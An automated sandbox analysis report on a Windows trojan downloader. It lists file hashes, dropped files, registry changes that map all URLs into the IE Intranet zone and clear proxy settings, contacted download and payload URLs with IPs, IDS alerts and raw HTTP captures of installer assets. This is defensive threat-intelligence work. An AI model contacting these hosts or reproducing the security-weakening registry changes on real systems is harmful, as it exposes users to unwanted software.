MD5: b8c930fe3b84f8964ac7c6198f46d778
SHA1: e9d85dd10ea068cfd89da43f33123ce33794ef70
SHA256: 16a37a451dfdb9ce9a86baa2b85a42373e5c7770d2d0e0f76bd68ee9ba0450ac
SSDeep: 1536:tGarUa6LowvuhdNYh2Gf9rg6hzGPnzs1SEIu3ehYTJfYBo:T5BuYAVrgUCPnz2htOo
Size: 66842 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2012-02-24 21:20:04
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:652
Setup__2140_il21.exe:1796

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:652 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\nsArray.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\450204812 (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe (52544 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\NSISdl.dll (15 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp (0 bytes)

The process Setup__2140_il21.exe:1796 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\dm_left_image[1].png (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\accept[1].gif (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\amipb[1].js (34209 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\next[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\main[1].css (1177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\logo[1].png (2150 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\finish[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cancel[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\skip[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Setup__2140_il21.exe:typelib (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\cancel1[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\decline[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Setup__2140_il21.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\footer_img[1].png (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\index[1].htm (7461 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe:typelib (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Desktop\Continue installation .lnk (848 bytes)

Registry activity

The process %original file name%.exe:652 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C4 FC 03 D3 17 37 5B CC 40 9F 4F C7 10 3D 0F 06"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process Setup__2140_il21.exe:1796 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCR\watchful.bookmen.1\CLSID]
"(Default)" = "{6049631c-35db-48bf-9ca7-32847298bfb6}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\LocalServer32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}\TypeLib]
"(Default)" = "{971927DA-CE1B-405C-89E7-E6C52E643DF4}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}]
"(Default)" = "Inst Class"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\TypeLib\{971927DA-CE1B-405C-89E7-E6C52E643DF4}\1.0\FLAGS]
"(Default)" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCR\watchful.bookmen]
"(Default)" = "Inst Class"

[HKCR\TypeLib\{971927DA-CE1B-405C-89E7-E6C52E643DF4}\1.0\0\win32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKCR\watchful.bookmen.1]
"(Default)" = "Inst Class"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\ProgID]
"(Default)" = "watchful.bookmen.1"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\Setup__2140_il21\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\VersionIndependentProgID]
"(Default)" = "watchful.bookmen"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "Setup__2140_il21.exe"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}]
"(Default)" = "IBoot"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCR\TypeLib\{971927DA-CE1B-405C-89E7-E6C52E643DF4}\1.0]
"(Default)" = "InstallerLib"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 59 06 81 62 03 21 F9 15 61 06 9A 87 F7 59 69"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1464487673"

[HKCR\Interface\{F66E0C1A-9BDC-4CDF-86AC-2AD2CDCB6E25}\TypeLib]
"Version" = "1.0"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\LocalServer32]
"ServerExecutable" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCR\CLSID\{6049631c-35db-48bf-9ca7-32847298bfb6}\TypeLib]
"(Default)" = "{971927da-ce1b-405c-89e7-e6c52e643df4}"

[HKCR\TypeLib\{971927DA-CE1B-405C-89E7-E6C52E643DF4}\1.0\HELPDIR]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCR\watchful.bookmen\CurVer]
"(Default)" = "watchful.bookmen.1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\Setup__2140_il21\DEBUG]
"Trace Level"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 15
9284d776bd8ec832528a84bab0c2eb37
a5e228f53e6d5e28fd79034504ccbbbb
64fc406b8d43f14130f5576aaac422de
2b95ee47d1c3c4ada2384fad2ac2fc36
336cdb859a1a80fc3ba8e66cce0b6879
4de3cf9dc517a27069018f0c287d40de
1917bba2b758c53bba297690de8777ae
efe8a4130e9c5162112511265c3afd9c
20d42636145b8409cd30027ea7e1e7e5
29cacad32005227ae8eda9464a09eebc
c5eb6ee5a550c017f87db917465223b6
6a270cc3b4f70d7fd0cafa4fd2068cb1
c99eba109d093f79702fbd75a33aa972
c381ad379faca5a6961caff2602d0283
978fbe4ae306b26a0d3e93cd752cdbae

URLs

URL	IP
hxxp://dna4mm5c1mahl.cloudfront.net/launch_v5.php?p=sevenzip&pid=1505&tid=4312341&b_typ=pe&n=Vm13YXJlK3dvcmtzdGF0aW9uKzEwLjAuNStidWls&reb=1&ic=
hxxp://dualstack.ils-front-balancer3-264552681.us-east-1.elb.amazonaws/download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png
hxxp://dualstack.ils-front-balancer3-264552681.us-east-1.elb.amazonaws/index.php
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css
hxxp://dyno3mlj15jgv.cloudfront.net/V36/amipb.js
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif
hxxp://dualstack.ils-front-balancer3-264552681.us-east-1.elb.amazonaws/finalize.php
hxxp://dualstack.ils-front-balancer3-264552681.us-east-1.elb.amazonaws/Html/7d0e2798-c9e5-442a-a48d-1a3dfc747868/logo.png
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif	54.239.168.159
hxxp://up.sdfuus98d7f.xyz/launch_v5.php?p=sevenzip&pid=1505&tid=4312341&b_typ=pe&n=Vm13YXJlK3dvcmtzdGF0aW9uKzEwLjAuNStidWls&reb=1&ic=	54.239.168.105
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png	54.239.168.159
hxxp://cdn1.lawfuldownload.com/V36/amipb.js	54.239.168.206
hxxp://www.quaintspokenracketiest.site/finalize.php	54.243.171.25
hxxp://www.quaintspokenracketiest.site/index.php	54.243.171.25
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif	54.239.168.159
hxxp://www.quaintspokenracketiest.site/Html/7d0e2798-c9e5-442a-a48d-1a3dfc747868/logo.png	54.243.171.25
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css	54.239.168.159
hxxp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif	54.239.168.159
hxxp://www.dosecuretrips.com/download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png	107.20.158.246
pe-sixi.com	69.197.35.236

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET MALWARE SoundCloud Downloader Install Beacon
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/css

Content-Length: 9386

Connection: keep-alive

Date: Thu, 31 Mar 2016 19:10:59 GMT

Content-Disposition: attachment; filename="main.css"

Last-Modified: Thu, 26 Feb 2015 16:19:17 GMT

ETag: "9d7c4ddc39dddc3623e8a57e55afd079"

Accept-Ranges: bytes

Server: AmazonS3

Age: 26617

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _J-F0PcTlJ7tkCC8wbVzzJPpdsRPcRLHWAcKhxV0w8cYqL8CorjHXQ==
body {..    font-size:10px;.    background:#eaeaea;.    font-family: A
rial;.    margin: 0;.    padding: 0;.    color:#000000;        .}..div
, span, textarea {.    cursor: default;.}..a, a span, a div {.    curs
or: pointer;.}../* whole screen styles   */..ami-wrapper{.   backgroun
d : none no-repeat scroll 0 0 #eaeaea;.   border:2px solid #989898; .}
../* moddle element */..#ami-body.{..position: relative;.    padding-l
eft:27;.    padding-right:27;.}...bottom-line{.    background-color:#5
cafd4;.    height:45px;.    width:100%;.}..table {.    border-collapse
: collapse;.    margin: 0 ;.    padding: 0;.    font-size:10px;.}..tex
tarea {..font-size:10px;..font-family: verdana;..width:98%;..padding: 
5px;.}...textarea1{.    background:#ffffff;.    color:#000000;.    hei
ght:100%;.    width:100%;.    overflow-x:hidden;.}..td{.    padding: 0
px;.}../* footer and footer buttons */...bottom-holder{.    background
-image:url('footer_img.png');.    background-repeat:repeat-x;.    heig
ht:59px;.    position:absolute;.    bottom:0px;.    padding-left:20px;
.    padding-right:20px;.}...#btnNext{.    background:  url('next.gif'
) no-repeat;.}.#btnCancel{.    background:  url('cancel.gif') no-repea
t;.}../* Use for cancle with no popup !!! */.#btnBack{.    background:
  url('cancel1.gif') no-repeat;.}..#btnDecline{.    background:  url('
decline.gif') no-repeat;.}..#btnAccept{.    background:  url('accept.g
if') no-repeat;.}..#btnSkip{.    background:  url('skip.gif') no-repea
t;.}...btn-finish-install{.    background:  url('finish.gif') no-r
<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 937

Connection: keep-alive

Date: Thu, 31 Mar 2016 20:33:19 GMT

Content-Disposition: attachment; filename="footer_img.png"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "e2bf2d203887961a2e93c1a68b7e7534"

Accept-Ranges: bytes

Server: AmazonS3

Age: 21575

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: X3zgfiCXwvryAX49A70PLLCwZdV_eV8lUoh7cklQbHjggo0NAX1TEw==
.PNG........IHDR.......;........B....tEXtSoftware.Adobe ImageReadyq.e&
lt;...!iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC (Windows)" xmpMM:InstanceID="xmp.iid:E57C9F23EFB911E397DFE4EB8
E55B910" xmpMM:DocumentID="xmp.did:E57C9F24EFB911E397DFE4EB8E55B910"&g
t; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E57C9F21EFB911E397D
FE4EB8E55B910" stRef:documentID="xmp.did:E57C9F22EFB911E397DFE4EB8E55B
910"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
 <?xpacket end="r"?>........IDATx.b.y........g...?.(....0.....N.
]l....IEND.B`.....


GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1262

Connection: keep-alive

Date: Thu, 31 Mar 2016 19:34:39 GMT

Content-Disposition: attachment; filename="cancel.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "d92b8cccf7616d9e5f6162571dd3e1e8"

Accept-Ranges: bytes

Server: AmazonS3

Age: 25195

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -VAbhBj4Plk0lL-ETMjLa99RSKEde5D5MXz4OsozqcNn4sLMb6749Q==
GIF89ae...............................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................!.....u.,....e........o
t.............o..nC.............GCn.t.D.............BC.EF.............
EEJ.HHG.............H.J............*..IK.MNM......8.....H..H.`....*...
.!'O"J.H..D%....P.... C..8......D!.....0c.......4s.....O.....I.h.(S.QY
.....K....c...Vg,.......f. 0.k... \..b.. [email protected]...)U.U.b......W.0.....
.t..a.....7..7..."pt.<`...}/..M.o.,...^......_...`...MT.8p.........
Z..../.^...j:Y.K.N.zt,,.`...;.)&.h.>....X4.p...z...D. .............
.................. }.J0...&x...f...-......AH.]pa..(..".A....=.(....p..
..X#...0#.5. ..A....H&ib.......PF).._x.E...`..^.0...n9..[z........".P.
[email protected]..$...!..|....b..F.. ....$.....`....!g.6.j..?..A.[....?t.......
.....!d..........v....%.A.c.P@. .0..c.P..cT0@. .. ...P.... ......!gt..
....m...k..........n.f.AH...k...............p..../.......7.....!...Wl.
K..c....C..!l.,..$..r.(....,.<r.".!..n.l..8....<....=.-..o....t.
...L7...s....;....
<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

